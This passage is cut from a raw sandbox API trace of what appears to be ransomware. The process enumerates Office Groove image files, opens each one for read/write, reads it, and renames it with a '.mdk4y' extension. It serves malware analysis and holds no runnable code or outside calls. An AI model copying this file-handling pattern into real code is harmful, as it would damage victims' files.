lpFindFileData=0x6c26a8) returned 1 [0214.608] AreFileApisANSI () returned 1 [0214.608] GetACP () returned 0x4e4 [0214.608] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Shared16x16ImagesMask.bmp", cchWideChar=25, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Shared16x16ImagesMask.bmpk.bmp", lpUsedDefaultChar=0x37dec0) returned 25 [0214.608] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16imagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828983900000) returned 1 [0214.609] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf38, lpOverlapped=0x0) returned 1 [0214.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828984200000) returned 1 [0214.612] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828984200000) returned 1 [0214.613] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16imagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared16x16ImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared16x16imagesmask.bmp.mdk4y")) returned 1 [0214.614] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.614] AreFileApisANSI () returned 1 [0214.614] GetACP () returned 0x4e4 [0214.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Shared24x24Images.jpg", cchWideChar=21, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Shared24x24Images.jpg.bmp", lpUsedDefaultChar=0x37dec0) returned 21 [0214.614] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24images.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828984500000) returned 1 [0214.616] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1963, lpOverlapped=0x0) returned 1 [0214.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828985000000) returned 1 [0214.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828985000000) returned 1 [0214.620] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24images.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24images.jpg.mdk4y")) returned 1 [0214.622] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.622] AreFileApisANSI () returned 1 [0214.622] GetACP () returned 0x4e4 [0214.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Shared24x24ImagesMask.bmp", cchWideChar=25, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Shared24x24ImagesMask.bmp", lpUsedDefaultChar=0x37dec0) returned 25 [0214.622] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24imagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828985300000) returned 1 [0214.623] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1638, lpOverlapped=0x0) returned 1 [0214.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828985500000) returned 1 [0214.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828985500000) returned 1 [0214.625] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24imagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24imagesmask.bmp.mdk4y")) returned 1 [0214.626] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.626] AreFileApisANSI () returned 1 [0214.627] GetACP () returned 0x4e4 [0214.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SketchIconImages.bmp", cchWideChar=20, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SketchIconImages.bmpk.bmp", lpUsedDefaultChar=0x37dec0) returned 20 [0214.627] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\sketchiconimages.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828985700000) returned 1 [0214.627] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2d38, lpOverlapped=0x0) returned 1 [0214.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828988000000) returned 1 [0214.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828988000000) returned 1 [0214.651] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\sketchiconimages.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\SketchIconImages.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\sketchiconimages.bmp.mdk4y")) returned 1 [0214.654] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.654] AreFileApisANSI () returned 1 [0214.654] GetACP () returned 0x4e4 [0214.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="spacebackupicons.jpg", cchWideChar=20, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="spacebackupicons.jpg", lpUsedDefaultChar=0x37dec0) returned 20 [0214.654] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.656] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828988600000) returned 1 [0214.656] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd97, lpOverlapped=0x0) returned 1 [0214.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828988900000) returned 1 [0214.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828988900000) returned 1 [0214.660] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupicons.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupicons.jpg.mdk4y")) returned 1 [0214.661] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.662] AreFileApisANSI () returned 1 [0214.662] GetACP () returned 0x4e4 [0214.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="spacebackupiconsmask.bmp", cchWideChar=24, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="spacebackupiconsmask.bmpp", lpUsedDefaultChar=0x37dec0) returned 24 [0214.662] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupiconsmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828989300000) returned 1 [0214.663] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5a4, lpOverlapped=0x0) returned 1 [0214.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828990400000) returned 1 [0214.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828990400000) returned 1 [0214.674] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupiconsmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\spacebackupiconsmask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\spacebackupiconsmask.bmp.mdk4y")) returned 1 [0214.677] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.677] AreFileApisANSI () returned 1 [0214.677] GetACP () returned 0x4e4 [0214.677] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STOPICON.JPG", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="STOPICON.JPGconsmask.bmp", lpUsedDefaultChar=0x37dec0) returned 12 [0214.677] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopicon.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828995200000) returned 1 [0214.722] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd14, lpOverlapped=0x0) returned 1 [0214.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828997100000) returned 1 [0214.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828997100000) returned 1 [0214.741] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopicon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\STOPICON.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopicon.jpg.mdk4y")) returned 1 [0214.744] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.744] AreFileApisANSI () returned 1 [0214.744] GetACP () returned 0x4e4 [0214.744] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="StopIconMask.bmp", cchWideChar=16, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="StopIconMask.bmpmask.bmp", lpUsedDefaultChar=0x37dec0) returned 16 [0214.744] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopiconmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828997500000) returned 1 [0214.745] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x838, lpOverlapped=0x0) returned 1 [0214.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828998000000) returned 1 [0214.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828998000000) returned 1 [0214.750] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopiconmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\StopIconMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\stopiconmask.bmp.mdk4y")) returned 1 [0214.751] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.751] AreFileApisANSI () returned 1 [0214.751] GetACP () returned 0x4e4 [0214.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TaskbarIconImages256Colors.bmp", cchWideChar=30, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TaskbarIconImages256Colors.bmp", lpUsedDefaultChar=0x37dec0) returned 30 [0214.751] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimages256colors.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.752] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828998200000) returned 1 [0214.752] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf38, lpOverlapped=0x0) returned 1 [0214.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828998300000) returned 1 [0214.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828998300000) returned 1 [0214.753] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimages256colors.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImages256Colors.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimages256colors.bmp.mdk4y")) returned 1 [0214.754] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.754] AreFileApisANSI () returned 1 [0214.754] GetACP () returned 0x4e4 [0214.754] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TaskbarIconImagesMask256Colors.bmp", cchWideChar=34, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TaskbarIconImagesMask256Colors.bmpp", lpUsedDefaultChar=0x37dec0) returned 34 [0214.754] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimagesmask256colors.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828998500000) returned 1 [0214.755] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x540, lpOverlapped=0x0) returned 1 [0214.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828999200000) returned 1 [0214.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828999200000) returned 1 [0214.762] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimagesmask256colors.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TaskbarIconImagesMask256Colors.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\taskbariconimagesmask256colors.bmp.mdk4y")) returned 1 [0214.763] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.763] AreFileApisANSI () returned 1 [0214.763] GetACP () returned 0x4e4 [0214.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TipsImage.jpg", cchWideChar=13, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TipsImage.jpgagesMask256Colors.bmp", lpUsedDefaultChar=0x37dec0) returned 13 [0214.763] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimage.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828999400000) returned 1 [0214.764] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2605, lpOverlapped=0x0) returned 1 [0214.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828999500000) returned 1 [0214.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828999500000) returned 1 [0214.765] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImage.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimage.jpg.mdk4y")) returned 1 [0214.767] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.767] AreFileApisANSI () returned 1 [0214.767] GetACP () returned 0x4e4 [0214.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TipsImageMask.bmp", cchWideChar=17, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TipsImageMask.bmpMask256Colors.bmp", lpUsedDefaultChar=0x37dec0) returned 17 [0214.767] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimagemask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.767] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828999700000) returned 1 [0214.767] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x838, lpOverlapped=0x0) returned 1 [0214.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828999800000) returned 1 [0214.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828999800000) returned 1 [0214.769] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\TipsImageMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\tipsimagemask.bmp.mdk4y")) returned 1 [0214.770] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.770] AreFileApisANSI () returned 1 [0214.770] GetACP () returned 0x4e4 [0214.770] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VeriSignLogo.jpg", cchWideChar=16, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="VeriSignLogo.jpgp", lpUsedDefaultChar=0x37dec0) returned 16 [0214.770] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\verisignlogo.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.771] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829000100000) returned 1 [0214.771] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x450, lpOverlapped=0x0) returned 1 [0214.777] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829000700000) returned 1 [0214.777] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829000700000) returned 1 [0214.777] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\verisignlogo.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\VeriSignLogo.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\verisignlogo.jpg.mdk4y")) returned 1 [0214.779] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.779] AreFileApisANSI () returned 1 [0214.779] GetACP () returned 0x4e4 [0214.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WebToolIconImages.jpg", cchWideChar=21, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WebToolIconImages.jpg256Colors.bmp", lpUsedDefaultChar=0x37dec0) returned 21 [0214.779] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtooliconimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1829000900000) returned 1 [0214.780] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: 